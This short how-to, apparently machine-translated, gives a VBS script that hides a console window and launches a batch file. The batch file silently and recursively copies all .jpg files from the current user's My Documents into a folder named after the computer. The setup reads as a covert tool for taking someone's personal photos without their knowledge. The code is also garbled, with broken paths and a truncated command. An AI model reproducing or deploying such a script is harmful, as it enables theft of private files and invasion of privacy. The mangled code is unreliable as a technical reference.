1. Open notepad, create a vbs file type or copy and paste the following script:
Dim wshshell, dos
set wshshell = WScript.CreateObject ( "WScript.Shell")
dos = wshshell.expandenvironmentstrings ( "% COMS ...
wshshell.run (dos & "/ c tarik.bat"), vbhide
2. Save it with file name save as start.vbs example type select all files
3. Open notepad again, create a bat file type or copy and paste the following script:
@ echo off
mkdir% computername%
xcopy "C: \ Documents and Settings \% username% \ My Documents \ *. jpg"% computername% / s / c / q / r
@ cls
@ exit
Note: for Windows Vista and 7, in trying to own it ...^_^
9.1.10
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